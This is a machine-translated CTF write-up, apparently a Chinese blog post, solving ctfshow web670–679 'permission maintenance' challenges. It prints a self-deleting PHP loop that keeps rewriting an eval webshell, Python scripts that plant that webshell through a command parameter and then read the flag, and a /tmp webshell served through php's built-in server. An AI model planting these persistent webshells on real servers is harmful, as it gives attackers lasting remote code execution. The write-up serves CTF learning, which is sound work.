当前位置:网站首页>Ctfshow permission maintenance
Ctfshow permission maintenance
2022-06-30 22:48:00 【yu22x】
List of articles
web670-web676
Topic in progress check after , All files in the root directory of the website will be deleted .
Method 1
The following commands are used for forecasting
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf * In fact, there is a small defect , Cannot delete a file that begins with a dot , So you can use the Trojan horse to generate a .shell.php Of Trojans ,check It will be retained later .
Method 2
Use bounce shell
But the title is not out of the net , So this method cannot be considered for the time being .
Method 3
You can use the undead horse to write the Trojan horse into memory .
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
Visit the undead horse , Trigger check, Then the ant sword connects shell.php You can get flag.
One click script
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
It's a little different from the front , No write permission ( except /tmp Catalog )
guess check It's about generating flag Then delete all /var/www/html The files under the .
So we can pass while The cycle continues to open flag, When check when , The page will appear flag.
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check It will be closed after nginx php-fpm Etc , But we can use it php Command to start a service directly php -S 0.0.0.0:80, Which directory to run the command , Which directory is regarded as the root directory .
It's kind of like python Turn on web service python -m SimpleHTTPServer 80
The general flow is as follows :
1、/tmp The table of contents is writable , Generate Trojan files in this directory cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、 Turn on web service cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、 Trigger check
4、 Using Trojan horse
But in practical use, it will be found that , Manually opened web service check And then it will be stopped .
So we need to make sure that check Then turn it on web service , That is, add a delay .
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- latex字母头顶两个点
- Meet the streamnational | yangzike: what made me give up Dachang offer
- Ten of the most heart piercing tests / programmer jokes, read the vast crowd, how to find?
- Solution to the conflict between unique index and logical deletion
- 在线客服系统代码_h5客服_对接公众号_支持APP_支持多语言
- 微信支付WxPayPubHelper v3版 回调xml为空的原因
- win11更新后任务栏空白怎么办? win11更新后任务栏空白卡死的解决方法
- Golang application ━ installation, configuration and use of Hugo blog system
- Mysql:sql overview and database system introduction | dark horse programmer
- Discuz forum speed up to delete XXX under data/log PHP file
猜你喜欢
![CesiumJS 2022^ 源码解读[6] - 三维模型(ModelExperimental)新架构](/img/ce/519778cd731f814ad111d1e37abd10.png)
CesiumJS 2022^ 源码解读[6] - 三维模型(ModelExperimental)新架构

B_ QuRT_ User_ Guide(33)

Web APIs comprehensive case -tab column switching - dark horse programmer

Some memory problems summarized

A new one from Ali 25K came to the Department, which showed me what the ceiling is

Tencent has been conducting advanced automated functional testing for 3 years. It is a gift to you who are confused in manual testing

企业出海数字化转型解决方案介绍

Architecture of IM integrated messaging system sharing 100000 TPS

Deployment of microservices based on kubernetes platform

Online customer service chat system source code_ Beautiful and powerful golang kernel development_ Binary operation fool installation_ Attached construction tutorial
随机推荐
How to ensure the security of our core drawings by drawing encryption
[450. delete nodes in binary search tree]
What are the contents and processes of software validation testing? How much does it cost to confirm the test report?
Using Obsidian with Hugo, markdown's local editing software is seamlessly connected with online
What does the software test report contain? How to obtain high quality software test reports?
CesiumJS 2022^ 源码解读[6] - 三维模型(ModelExperimental)新架构
How cloud computing can protect online education in the post epidemic Era
B_ QuRT_ User_ Guide(31)
Mysql:sql overview and database system introduction | dark horse programmer
[golang] golang实现截取字符串函数SubStr
「团队训练赛」ShanDong Multi-University Training #3
Achieve secure data sharing among multiple parties and solve the problem of asymmetric information in Inclusive Finance
dba
A new one from Ali 25K came to the Department, which showed me what the ceiling is
深入解析 Apache BookKeeper 系列:第四篇—背压
Strictly minor spanning tree
Esp8266 becomes client and server
Cas classique multithreadé
Online customer service chat system source code_ Beautiful and powerful golang kernel development_ Binary operation fool installation_ Attached construction tutorial
AtCoder Beginner Contest 255